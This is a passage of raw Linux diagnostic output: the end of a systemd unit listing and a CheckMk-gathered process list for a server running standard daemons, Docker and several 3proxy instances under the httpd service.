exited File System Check on Root Device\\n systemd-fsck@dev-disk-by\\\\x2duuid-afb8eccd\\\\x2d5e82\\\\x2d4e15\\\\x2d9bb2\\\\x2da1a475e4eff2.service loaded active exited File System Check on /dev/disk/by-uuid/afb8eccd-5e82-4e15-9bb2-a1a475e4eff2\\n systemd-fsck@dev-mapper-myvg\\\\x2dtmp.service loaded active exited File System Check on /dev/mapper/myvg-tmp\\n systemd-hwdb-update.service loaded inactive dead Rebuild Hardware Database\\n systemd-initctl.service loaded inactive dead /dev/initctl Compatibility Daemon\\n systemd-journal-catalog-update.service loaded inactive dead Rebuild Journal Catalog\\n systemd-journal-flush.service loaded active exited Flush Journal to Persistent Storage\\n systemd-journald.service loaded active running Journal Service\\n systemd-logind.service loaded active running Login Service\\n systemd-machine-id-commit.service loaded inactive dead Commit a transient machine-id on disk\\n systemd-modules-load.service loaded inactive dead Load Kernel Modules\\n systemd-random-seed.service loaded active exited Load/Save Random Seed\\n systemd-readahead-collect.service loaded active exited Collect Read-Ahead Data\\n systemd-readahead-done.service loaded inactive dead Stop Read-Ahead Data Collection\\n systemd-readahead-replay.service loaded active exited Replay Read-Ahead Data\\n systemd-reboot.service loaded inactive dead Reboot\\n systemd-remount-fs.service loaded active exited Remount Root and Kernel File Systems\\n systemd-shutdownd.service loaded inactive dead Delayed Shutdown Service\\n systemd-sysctl.service loaded active exited Apply Kernel Variables\\n* systemd-sysusers.service not-found inactive dead systemd-sysusers.service\\n* systemd-timesyncd.service not-found inactive dead systemd-timesyncd.service\\n systemd-tmpfiles-clean.service loaded inactive dead Cleanup of Temporary Directories\\n systemd-tmpfiles-setup-dev.service loaded active exited Create Static Device Nodes in /dev\\n systemd-tmpfiles-setup.service loaded active exited Create Volatile Files and Directories\\n systemd-udev-trigger.service loaded active exited udev Coldplug all Devices\\n systemd-udevd.service loaded active running udev Kernel Device Manager\\n systemd-update-done.service loaded inactive dead Update is Completed\\n systemd-update-utmp-runlevel.service loaded inactive dead Update UTMP about System Runlevel Changes\\n systemd-update-utmp.service loaded active exited Update UTMP about System Boot/Shutdown\\n systemd-user-sessions.service loaded active exited Permit User Sessions\\n systemd-vconsole-setup.service loaded active exited Setup Virtual Console\\n tuned.service loaded active running Dynamic System Tuning Daemon\\n xinetd.service loaded active running Xinetd A Powerful Replacement For Inetd\\n* ypbind.service not-found inactive dead ypbind.service\\n* yppasswdd.service not-found inactive dead yppasswdd.service\\n* ypserv.service not-found inactive dead ypserv.service\\n* ypxfrd.service not-found inactive dead ypxfrd.service\\n -.slice loaded active active Root Slice\\n system-getty.slice loaded active active system-getty.slice\\n system-lvm2\\\\x2dpvscan.slice loaded active active system-lvm2\\\\x2dpvscan.slice\\n system-selinux\\\\x2dpolicy\\\\x2dmigrate\\\\x2dlocal\\\\x2dchanges.slice loaded active active system-selinux\\\\x2dpolicy\\\\x2dmigrate\\\\x2dlocal\\\\x2dchanges.slice\\n system-systemd\\\\x2dfsck.slice loaded active active system-systemd\\\\x2dfsck.slice\\n system.slice loaded active active System Slice\\n user-0.slice loaded active active User Slice of root\\n user.slice loaded active active User and Session Slice\\n dbus.socket loaded active running D-Bus System Message Bus Socket\\n dm-event.socket loaded active listening Device-mapper event daemon FIFOs\\n docker.socket loaded active running Docker Socket for the API\\n lvm2-lvmetad.socket loaded active running LVM2 metadata daemon socket\\n lvm2-lvmpolld.socket loaded active listening LVM2 poll daemon socket\\n sshd.socket loaded inactive dead OpenSSH Server Socket\\n syslog.socket loaded inactive dead Syslog Socket\\n systemd-initctl.socket loaded active listening /dev/initctl Compatibility Named Pipe\\n systemd-journald.socket loaded active running Journal Socket\\n systemd-shutdownd.socket loaded active listening Delayed Shutdown Socket\\n systemd-udevd-control.socket loaded active running udev Control Socket\\n systemd-udevd-kernel.socket loaded active running udev Kernel Socket\\n dev-disk-by\\\\x2did-dm\\\\x2dname\\\\x2dmyvg\\\\x2dswap.swap loaded active active /dev/disk/by-id/dm-name-myvg-swap\\n dev-disk-by\\\\x2did-dm\\\\x2duuid\\\\x2dLVM\\\\x2d1QiDcsLaYWlTfj0HDTAcwn3reuOoa1avQMyWqcXgk7TADM52jXyhqjM2CbqRSoLR.swap loaded active active /dev/disk/by-id/dm-uuid-LVM-1QiDcsLaYWlTfj0HDTAcwn3reuOoa1avQMyWqcXgk7TADM52jXyhqjM2CbqRSoLR\\n dev-disk-by\\\\x2duuid-2cc06eeb\\\\x2dff0e\\\\x2d417e\\\\x2dbd08\\\\x2df9ad5094062e.swap loaded active active /dev/disk/by-uuid/2cc06eeb-ff0e-417e-bd08-f9ad5094062e\\n dev-dm\\\\x2d1.swap loaded active active /dev/dm-1\\n dev-mapper-myvg\\\\x2dswap.swap loaded active active /dev/mapper/myvg-swap\\n dev-myvg-swap.swap loaded active active /dev/myvg/swap\\n basic.target loaded active active Basic System\\n cryptsetup.target loaded active active Local Encrypted Volumes\\n emergency.target loaded inactive dead Emergency Mode\\n final.target loaded inactive dead Final Step\\n getty-pre.target loaded inactive dead Login Prompts (Pre)\\n getty.target loaded active active Login Prompts\\n graphical.target loaded inactive dead Graphical Interface\\n initrd-fs.target loaded inactive dead Initrd File Systems\\n initrd-root-fs.target loaded inactive dead Initrd Root File System\\n initrd-switch-root.target loaded inactive dead Switch Root\\n initrd.target loaded inactive dead Initrd Default Target\\n local-fs-pre.target loaded active active Local File Systems (Pre)\\n local-fs.target loaded active active Local File Systems\\n multi-user.target loaded active active Multi-User System\\n net_ranges_up.target loaded active active \\\"finished adding all ip ranges\\\"\\n network-online.target loaded active active Network is Online\\n network-pre.target loaded active active Network (Pre)\\n network.target loaded active active Network\\n nss-lookup.target loaded inactive dead Host and Network Name Lookups\\n nss-user-lookup.target loaded inactive dead User and Group Name Lookups\\n paths.target loaded active active Paths\\n remote-fs-pre.target loaded inactive dead Remote File Systems (Pre)\\n remote-fs.target loaded active active Remote File Systems\\n rescue.target loaded inactive dead Rescue Mode\\n shutdown.target loaded inactive dead Shutdown\\n slices.target loaded active active Slices\\n sockets.target loaded active active Sockets\\n swap.target loaded active active Swap\\n sysinit.target loaded active active System Initialization\\n* syslog.target not-found inactive dead syslog.target\\n time-sync.target loaded inactive dead System Time Synchronized\\n timers.target loaded active active Timers\\n umount.target loaded inactive dead Unmount All Filesystems\\n systemd-readahead-done.timer loaded active elapsed Stop Read-Ahead Data Collection 10s After Completed Startup\\n systemd-tmpfiles-clean.timer loaded active waiting Daily Cleanup of Temporary Directories\\n\\n\\nFound linux process list through CheckMk:\\n[header] CGROUP USER VSZ RSS TIME ELAPSED PID COMMAND\\n- root 192656 5608 12:11:04 284-05:17:35 1 /usr/lib/systemd/systemd --switched-root --system --deserialize 22\\n- root 0 0 00:00:01 284-05:17:35 2 [kthreadd]\\n- root 0 0 00:00:00 284-05:17:35 4 [kworker/0:0H]\\n- root 0 0 02:20:56 284-05:17:35 6 [ksoftirqd/0]\\n- root 0 0 00:00:00 284-05:17:35 7 [migration/0]\\n- root 0 0 00:00:00 284-05:17:35 8 [rcu_bh]\\n- root 0 0 1-07:05:53 284-05:17:35 9 [rcu_sched]\\n- root 0 0 00:00:00 284-05:17:35 10 [lru-add-drain]\\n- root 0 0 00:01:40 284-05:17:35 11 [watchdog/0]\\n- root 0 0 00:01:24 284-05:17:35 12 [watchdog/1]\\n- root 0 0 00:00:00 284-05:17:35 13 [migration/1]\\n- root 0 0 02:17:39 284-05:17:35 14 [ksoftirqd/1]\\n- root 0 0 00:06:12 284-05:17:35 15 [kworker/1:0]\\n- root 0 0 00:00:00 284-05:17:35 16 [kworker/1:0H]\\n- root 0 0 00:01:34 284-05:17:35 17 [watchdog/2]\\n- root 0 0 00:00:00 284-05:17:35 18 [migration/2]\\n- root 0 0 02:59:26 284-05:17:35 19 [ksoftirqd/2]\\n- root 0 0 00:00:00 284-05:17:35 21 [kworker/2:0H]\\n- root 0 0 00:01:30 284-05:17:35 22 [watchdog/3]\\n- root 0 0 00:00:00 284-05:17:35 23 [migration/3]\\n- root 0 0 02:38:39 284-05:17:35 24 [ksoftirqd/3]\\n- root 0 0 00:00:00 284-05:17:35 26 [kworker/3:0H]\\n- root 0 0 00:01:30 284-05:17:35 27 [watchdog/4]\\n- root 0 0 00:00:00 284-05:17:35 28 [migration/4]\\n- root 0 0 02:36:47 284-05:17:35 29 [ksoftirqd/4]\\n- root 0 0 00:07:32 284-05:17:35 30 [kworker/4:0]\\n- root 0 0 00:00:00 284-05:17:35 31 [kworker/4:0H]\\n- root 0 0 00:01:29 284-05:17:35 32 [watchdog/5]\\n- root 0 0 00:00:00 284-05:17:35 33 [migration/5]\\n- root 0 0 02:37:46 284-05:17:35 34 [ksoftirqd/5]\\n- root 0 0 00:00:00 284-05:17:35 36 [kworker/5:0H]\\n- root 0 0 00:01:28 284-05:17:35 37 [watchdog/6]\\n- root 0 0 00:00:00 284-05:17:35 38 [migration/6]\\n- root 0 0 02:26:04 284-05:17:35 39 [ksoftirqd/6]\\n- root 0 0 00:00:00 284-05:17:35 41 [kworker/6:0H]\\n- root 0 0 00:01:33 284-05:17:35 42 [watchdog/7]\\n- root 0 0 00:00:00 284-05:17:35 43 [migration/7]\\n- root 0 0 02:56:25 284-05:17:35 44 [ksoftirqd/7]\\n- root 0 0 00:00:00 284-05:17:35 46 [kworker/7:0H]\\n- root 0 0 00:01:32 284-05:17:35 47 [watchdog/8]\\n- root 0 0 00:00:00 284-05:17:35 48 [migration/8]\\n- root 0 0 02:14:32 284-05:17:35 49 [ksoftirqd/8]\\n- root 0 0 00:00:00 284-05:17:35 51 [kworker/8:0H]\\n- root 0 0 00:01:23 284-05:17:35 52 [watchdog/9]\\n- root 0 0 00:00:00 284-05:17:35 53 [migration/9]\\n- root 0 0 02:10:07 284-05:17:35 54 [ksoftirqd/9]\\n- root 0 0 00:00:00 284-05:17:35 56 [kworker/9:0H]\\n- root 0 0 00:01:20 284-05:17:35 57 [watchdog/10]\\n- root 0 0 00:00:00 284-05:17:35 58 [migration/10]\\n- root 0 0 01:32:12 284-05:17:35 59 [ksoftirqd/10]\\n- root 0 0 00:00:00 284-05:17:35 61 [kworker/10:0H]\\n- root 0 0 00:01:22 284-05:17:35 62 [watchdog/11]\\n- root 0 0 00:00:00 284-05:17:35 63 [migration/11]\\n- root 0 0 01:54:08 284-05:17:35 64 [ksoftirqd/11]\\n- root 0 0 00:00:00 284-05:17:35 66 [kworker/11:0H]\\n- root 0 0 00:01:14 284-05:17:35 67 [watchdog/12]\\n- root 0 0 00:00:15 284-05:17:35 68 [migration/12]\\n- root 0 0 00:34:49 284-05:17:35 69 [ksoftirqd/12]\\n- root 0 0 00:00:00 284-05:17:35 71 [kworker/12:0H]\\n- root 0 0 00:01:14 284-05:17:35 72 [watchdog/13]\\n- root 0 0 00:00:16 284-05:17:35 73 [migration/13]\\n- root 0 0 00:39:24 284-05:17:35 74 [ksoftirqd/13]\\n- root 0 0 00:00:00 284-05:17:35 76 [kworker/13:0H]\\n- root 0 0 00:01:18 284-05:17:35 77 [watchdog/14]\\n- root 0 0 00:00:23 284-05:17:35 78 [migration/14]\\n- root 0 0 00:08:11 284-05:17:35 79 [ksoftirqd/14]\\n- root 0 0 00:00:00 284-05:17:35 81 [kworker/14:0H]\\n- root 0 0 00:01:17 284-05:17:35 82 [watchdog/15]\\n- root 0 0 00:00:24 284-05:17:35 83 [migration/15]\\n- root 0 0 00:16:39 284-05:17:35 84 [ksoftirqd/15]\\n- root 0 0 00:00:00 284-05:17:35 86 [kworker/15:0H]\\n- root 0 0 00:01:16 284-05:17:35 87 [watchdog/16]\\n- root 0 0 00:00:24 284-05:17:35 88 [migration/16]\\n- root 0 0 00:11:05 284-05:17:35 89 [ksoftirqd/16]\\n- root 0 0 00:00:00 284-05:17:35 91 [kworker/16:0H]\\n- root 0 0 00:01:19 284-05:17:35 92 [watchdog/17]\\n- root 0 0 00:00:22 284-05:17:35 93 [migration/17]\\n- root 0 0 00:14:02 284-05:17:35 94 [ksoftirqd/17]\\n- root 0 0 00:00:00 284-05:17:35 96 [kworker/17:0H]\\n- root 0 0 00:01:15 284-05:17:35 97 [watchdog/18]\\n- root 0 0 00:00:22 284-05:17:35 98 [migration/18]\\n- root 0 0 00:08:49 284-05:17:35 99 [ksoftirqd/18]\\n- root 0 0 00:00:00 284-05:17:35 101 [kworker/18:0H]\\n- root 0 0 00:01:18 284-05:17:35 102 [watchdog/19]\\n- root 0 0 00:00:23 284-05:17:35 103 [migration/19]\\n- root 0 0 00:11:13 284-05:17:35 104 [ksoftirqd/19]\\n- root 0 0 00:00:00 284-05:17:35 106 [kworker/19:0H]\\n- root 0 0 00:01:16 284-05:17:35 107 [watchdog/20]\\n- root 0 0 00:00:22 284-05:17:35 108 [migration/20]\\n- root 0 0 00:14:40 284-05:17:35 109 [ksoftirqd/20]\\n- root 0 0 00:00:00 284-05:17:35 111 [kworker/20:0H]\\n- root 0 0 00:01:17 284-05:17:35 112 [watchdog/21]\\n- root 0 0 00:00:20 284-05:17:35 113 [migration/21]\\n- root 0 0 00:31:16 284-05:17:35 114 [ksoftirqd/21]\\n- root 0 0 00:00:00 284-05:17:35 116 [kworker/21:0H]\\n- root 0 0 00:01:18 284-05:17:35 117 [watchdog/22]\\n- root 0 0 00:00:17 284-05:17:35 118 [migration/22]\\n- root 0 0 01:22:19 284-05:17:35 119 [ksoftirqd/22]\\n- root 0 0 00:00:00 284-05:17:35 121 [kworker/22:0H]\\n- root 0 0 00:01:19 284-05:17:35 122 [watchdog/23]\\n- root 0 0 00:00:16 284-05:17:35 123 [migration/23]\\n- root 0 0 01:08:42 284-05:17:35 124 [ksoftirqd/23]\\n- root 0 0 00:00:00 284-05:17:35 126 [kworker/23:0H]\\n- root 0 0 00:00:00 284-05:17:35 128 [kdevtmpfs]\\n- root 0 0 00:00:00 284-05:17:35 129 [netns]\\n- root 0 0 00:02:52 284-05:17:35 130 [khungtaskd]\\n- root 0 0 00:00:00 284-05:17:35 131 [writeback]\\n- root 0 0 00:00:00 284-05:17:35 132 [kintegrityd]\\n- root 0 0 00:00:00 284-05:17:35 133 [bioset]\\n- root 0 0 00:00:00 284-05:17:35 134 [bioset]\\n- root 0 0 00:00:00 284-05:17:35 135 [bioset]\\n- root 0 0 00:00:00 284-05:17:35 136 [kblockd]\\n- root 0 0 00:00:00 284-05:17:35 138 [md]\\n- root 0 0 00:00:00 284-05:17:35 139 [edac-poller]\\n- root 0 0 00:00:00 284-05:17:35 140 [watchdogd]\\n- root 0 0 00:00:00 284-05:17:35 146 [kswapd0]\\n- root 0 0 00:00:00 284-05:17:35 147 [ksmd]\\n- root 0 0 00:04:37 284-05:17:35 148 [khugepaged]\\n- root 0 0 00:00:00 284-05:17:35 149 [crypto]\\n- root 0 0 00:00:00 284-05:17:35 157 [kthrotld]\\n- root 0 0 00:00:00 284-05:17:35 160 [kmpath_rdacd]\\n- root 0 0 00:00:00 284-05:17:35 161 [kaluad]\\n- root 0 0 00:07:29 284-05:17:35 162 [kworker/23:1]\\n- root 0 0 02:12:33 284-05:17:33 163 [kworker/0:2]\\n- root 0 0 00:00:00 284-05:17:33 166 [kpsmoused]\\n- root 0 0 00:07:14 284-05:17:33 170 [kworker/3:1]\\n- root 0 0 00:03:04 284-05:17:33 175 [kworker/9:1]\\n- root 0 0 00:06:42 284-05:17:33 177 [kworker/11:1]\\n- root 0 0 00:05:43 284-05:17:33 178 [kworker/13:1]\\n- root 0 0 00:06:18 284-05:17:33 179 [kworker/14:1]\\n- root 0 0 00:06:49 284-05:17:33 180 [kworker/15:1]\\n- root 0 0 00:06:42 284-05:17:33 181 [kworker/16:1]\\n- root 0 0 00:06:21 284-05:17:33 182 [kworker/18:1]\\n- root 0 0 00:06:52 284-05:17:33 185 [kworker/20:1]\\n- root 0 0 00:07:53 284-05:17:33 186 [kworker/21:1]\\n- root 0 0 00:22:59 284-05:17:33 188 [kworker/22:1]\\n- root 0 0 00:00:00 284-05:17:33 190 [ipv6_addrconf]\\n- root 0 0 00:00:00 284-05:17:33 203 [deferwq]\\n- root 0 0 00:00:02 284-05:17:33 239 [kauditd]\\n- root 0 0 00:00:00 63-17:48:47 346 [kworker/21:0]\\n- root 0 0 00:00:00 284-05:17:33 421 [nfit]\\n- root 0 0 00:00:00 284-05:17:33 452 [ata_sff]\\n- root 0 0 00:00:00 284-05:17:33 453 [ixgbe]\\n- root 0 0 00:00:00 284-05:17:33 459 [scsi_eh_0]\\n- root 0 0 00:00:00 284-05:17:33 460 [scsi_tmf_0]\\n- root 0 0 00:00:00 284-05:17:33 461 [scsi_eh_1]\\n- root 0 0 00:00:00 284-05:17:33 462 [scsi_tmf_1]\\n- root 0 0 00:00:00 284-05:17:33 463 [scsi_eh_2]\\n- root 0 0 00:00:00 284-05:17:33 464 [scsi_tmf_2]\\n- root 0 0 00:00:00 284-05:17:33 465 [scsi_eh_3]\\n- root 0 0 00:00:00 284-05:17:33 466 [scsi_tmf_3]\\n- root 0 0 00:00:00 284-05:17:33 467 [scsi_eh_4]\\n- root 0 0 00:00:00 284-05:17:33 468 [scsi_tmf_4]\\n- root 0 0 00:00:00 284-05:17:33 469 [scsi_eh_5]\\n- root 0 0 00:00:00 284-05:17:33 470 [scsi_tmf_5]\\n- root 0 0 00:00:00 284-05:17:33 477 [ttm_swap]\\n- root 0 0 00:00:00 284-05:17:32 562 [kdmflush]\\n- root 0 0 00:00:00 284-05:17:32 563 [bioset]\\n- root 0 0 00:00:00 284-05:17:32 573 [kdmflush]\\n- root 0 0 00:00:00 284-05:17:32 574 [bioset]\\n- root 0 0 00:00:01 284-05:17:31 584 [kworker/0:1H]\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 8540164 14948 00:19:37 17-22:00:45 592 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-HADBRXK0.cfg\\n- root 0 0 00:02:58 284-05:17:31 593 [jbd2/dm-0-8]\\n- root 0 0 00:00:00 284-05:17:31 594 [ext4-rsv-conver]\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 4144696 8808 00:04:48 17-22:00:45 623 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-V2BMKX5R.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 4669528 9704 00:03:44 17-22:00:44 650 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-8TL81Y9B.cfg\\n10:devices:/system.slice/systemd-journald.service,9:cpuacct,cpu:/system.slice/systemd-journald.service,7:blkio:/system.slice/systemd-journald.service,5:pids:/system.slice/systemd-journald.service,3:memory:/system.slice/systemd-journald.service,1:name=systemd:/system.slice/systemd-journald.service root 39060 8640 00:02:15 284-05:17:30 675 /usr/lib/systemd/systemd-journald\\n- root 0 0 00:07:26 284-05:17:30 690 [kworker/2:2]\\n10:devices:/system.slice/lvm2-lvmetad.service,9:cpuacct,cpu:/system.slice/lvm2-lvmetad.service,7:blkio:/system.slice/lvm2-lvmetad.service,5:pids:/system.slice/lvm2-lvmetad.service,3:memory:/system.slice/lvm2-lvmetad.service,1:name=systemd:/system.slice/lvm2-lvmetad.service root 124840 1328 00:00:00 284-05:17:30 691 /usr/sbin/lvmetad -f\\n10:devices:/system.slice/systemd-udevd.service,9:cpuacct,cpu:/system.slice/systemd-udevd.service,7:blkio:/system.slice/systemd-udevd.service,5:pids:/system.slice/systemd-udevd.service,3:memory:/system.slice/systemd-udevd.service,1:name=systemd:/system.slice/systemd-udevd.service root 45468 1932 00:00:01 284-05:17:30 710 /usr/lib/systemd/systemd-udevd\\n- root 0 0 00:00:00 284-05:17:29 777 [kipmi0]\\n- root 0 0 00:00:00 284-05:17:29 819 [kvm-irqfd-clean]\\n- root 0 0 00:00:00 284-05:17:29 822 [kdmflush]\\n- root 0 0 00:00:00 284-05:17:29 823 [bioset]\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 2635804 4044 00:01:24 7-19:32:45 851 /usr/local/3proxy-0.9.4/bin/3proxy /config/bionikbu-040GM8VD.cfg\\n- root 0 0 00:00:01 284-05:17:29 866 [kworker/1:1H]\\n- root 0 0 00:00:54 284-05:17:29 871 [jbd2/dm-2-8]\\n- root 0 0 00:00:00 284-05:17:29 872 [ext4-rsv-conver]\\n- root 0 0 00:00:00 284-05:17:29 897 [ext4-rsv-conver]\\n10:devices:/system.slice/auditd.service,9:cpuacct,cpu:/system.slice/auditd.service,7:blkio:/system.slice/auditd.service,5:pids:/system.slice/auditd.service,3:memory:/system.slice/auditd.service,1:name=systemd:/system.slice/auditd.service root 55532 1088 00:00:18 284-05:17:28 932 /sbin/auditd\\n10:devices:/system.slice/systemd-logind.service,9:cpuacct,cpu:/system.slice/systemd-logind.service,7:blkio:/system.slice/systemd-logind.service,5:pids:/system.slice/systemd-logind.service,3:memory:/system.slice/systemd-logind.service,1:name=systemd:/system.slice/systemd-logind.service root 26384 1756 00:04:23 284-05:17:28 961 /usr/lib/systemd/systemd-logind\\n- root 0 0 00:08:23 284-05:17:28 962 [kworker/7:2]\\n10:devices:/system.slice/polkit.service,9:cpuacct,cpu:/system.slice/polkit.service,7:blkio:/system.slice/polkit.service,5:pids:/system.slice/polkit.service,3:memory:/system.slice/polkit.service,1:name=systemd:/system.slice/polkit.service polkitd 612232 11088 00:00:14 284-05:17:28 972 /usr/lib/polkit-1/polkitd --no-debug\\n10:devices:/system.slice/chronyd.service,9:cpuacct,cpu:/system.slice/chronyd.service,7:blkio:/system.slice/chronyd.service,5:pids:/system.slice/chronyd.service,3:memory:/system.slice/chronyd.service,1:name=systemd:/system.slice/chronyd.service chrony 117808 2096 00:01:13 284-05:17:28 988 /usr/sbin/chronyd\\n10:devices:/system.slice/irqbalance.service,9:cpuacct,cpu:/system.slice/irqbalance.service,7:blkio:/system.slice/irqbalance.service,5:pids:/system.slice/irqbalance.service,3:memory:/system.slice/irqbalance.service,1:name=systemd:/system.slice/irqbalance.service root 21800 1412 01:45:13 284-05:17:28 999 /usr/sbin/irqbalance --foreground\\n10:devices:/system.slice/dbus.service,9:cpuacct,cpu:/system.slice/dbus.service,7:blkio:/system.slice/dbus.service,5:pids:/system.slice/dbus.service,3:memory:/system.slice/dbus.service,1:name=systemd:/system.slice/dbus.service dbus 59240 3456 00:14:19 284-05:17:28 1002 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 2307784 6360 00:00:20 2-19:50:46 1019 /usr/local/3proxy-0.9.4/bin/3proxy /config/ajdafran-J5MH9BQW.cfg\\n10:devices:/system.slice/crond.service,9:cpuacct,cpu:/system.slice/crond.service,7:blkio:/system.slice/crond.service,5:pids:/system.slice/crond.service,3:memory:/system.slice/crond.service,1:name=systemd:/system.slice/crond.service root 126392 1616 00:00:24 284-05:17:28 1042 /usr/sbin/crond -n\\n10:devices:/system.slice/NetworkManager.service,9:cpuacct,cpu:/system.slice/NetworkManager.service,7:blkio:/system.slice/NetworkManager.service,5:pids:/system.slice/NetworkManager.service,3:memory:/system.slice/NetworkManager.service,1:name=systemd:/system.slice/NetworkManager.service root 510032 48048 3-23:25:35 284-05:17:28 1044 /usr/sbin/NetworkManager --no-daemon\\n10:devices:/system.slice/system-getty.slice,9:cpuacct,cpu:/system.slice/system-getty.slice,7:blkio:/system.slice/system-getty.slice,5:pids:/system.slice/system-getty.slice,3:memory:/system.slice/system-getty.slice,1:name=systemd:/system.slice/system-getty.slice/getty@tty1.service root 110208 864 00:00:00 284-05:17:28 1052 /sbin/agetty --noclear tty1 linux\\n- root 0 0 00:00:00 284-05:17:27 1085 [kworker/11:1H]\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 274060 3440 00:02:34 12-13:52:02 1093 /usr/local/3proxy-0.9.4/bin/3proxy /config/SRY11J7N.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service root 339676 19408 00:15:17 284-05:17:19 1271 /usr/sbin/httpd -DFOREGROUND\\n10:devices:/system.slice/sshd.service,9:cpuacct,cpu:/system.slice/sshd.service,7:blkio:/system.slice/sshd.service,5:pids:/system.slice/sshd.service,3:memory:/system.slice/sshd.service,1:name=systemd:/system.slice/sshd.service root 112984 4352 00:00:04 284-05:17:19 1274 /usr/sbin/sshd -D\\n10:devices:/system.slice/tuned.service,9:cpuacct,cpu:/system.slice/tuned.service,7:blkio:/system.slice/tuned.service,5:pids:/system.slice/tuned.service,3:memory:/system.slice/tuned.service,1:name=systemd:/system.slice/tuned.service root 574284 19576 00:41:30 284-05:17:19 1280 /usr/bin/python2 -Es /usr/sbin/tuned -l -P\\n10:devices:/system.slice/xinetd.service,9:cpuacct,cpu:/system.slice/xinetd.service,7:blkio:/system.slice/xinetd.service,5:pids:/system.slice/xinetd.service,3:memory:/system.slice/xinetd.service,1:name=systemd:/system.slice/xinetd.service root 27288 1180 00:03:51 284-05:17:19 1286 /usr/sbin/xinetd -stayalive -pidfile /var/run/xinetd.pid\\n10:devices:/system.slice/rsyslog.service,9:cpuacct,cpu:/system.slice/rsyslog.service,7:blkio:/system.slice/rsyslog.service,5:pids:/system.slice/rsyslog.service,3:memory:/system.slice/rsyslog.service,1:name=systemd:/system.slice/rsyslog.service root 485220 7652 00:17:33 284-05:17:19 1288 /usr/sbin/rsyslogd -n\\n10:devices:/system.slice/containerd.service,9:cpuacct,cpu:/system.slice/containerd.service,7:blkio:/system.slice/containerd.service,5:pids:/system.slice/containerd.service,3:memory:/system.slice/containerd.service,1:name=systemd:/system.slice/containerd.service root 2079444 60848 02:42:52 284-05:17:19 1297 /usr/bin/containerd\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 5194360 4624 00:03:39 26-14:22:32 1427 /usr/local/3proxy-0.9.4/bin/3proxy /config/mohammad-WGULZZ66.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 7293688 13016 00:25:32 61-15:16:32 1497 /usr/local/3proxy-0.9.4/bin/3proxy /config/I-MBTHEEYE-37QNNQB9.cfg\\n10:devices:/system.slice/docker.service,9:cpuacct,cpu:/system.slice/docker.service,7:blkio:/system.slice/docker.service,5:pids:/system.slice/docker.service,3:memory:/system.slice/docker.service,1:name=systemd:/system.slice/docker.service root 2343492 85872 02:19:38 284-05:17:19 1589 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock\\n- root 0 0 00:00:00 284-05:17:18 1611 [kworker/21:1H]\\n- root 0 0 00:00:00 284-05:17:18 1621 [kworker/4:1H]\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 6965668 5520 00:04:56 14-20:07:44 1954 /usr/local/3proxy-0.9.4/bin/3proxy /config/funnyuk0-34E12D1P.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 602080 3840 00:46:07 176-01:00:44 1987 /usr/local/3proxy-0.9.4/bin/3proxy /config/pompompu-78E7MSY3.cfg\\n10:devices:/system.slice/postfix.service,9:cpuacct,cpu:/system.slice/postfix.service,7:blkio:/system.slice/postfix.service,5:pids:/system.slice/postfix.service,3:memory:/system.slice/postfix.service,1:name=systemd:/system.slice/postfix.service root 90572 3056 00:01:11 284-05:17:18 2021 /usr/libexec/postfix/master -w\\n10:devices:/system.slice/postfix.service,9:cpuacct,cpu:/system.slice/postfix.service,7:blkio:/system.slice/postfix.service,5:pids:/system.slice/postfix.service,3:memory:/system.slice/postfix.service,1:name=systemd:/system.slice/postfix.service postfix 90744 5000 00:00:14 284-05:17:18 2094 qmgr -l -t unix -u\\n- root 0 0 00:00:00 284-05:17:18 2123 [kworker/10:1H]\\n- root 0 0 00:00:00 03:43 2412 [kworker/u48:1]\\n- root 0 0 00:00:00 284-05:17:15 2453 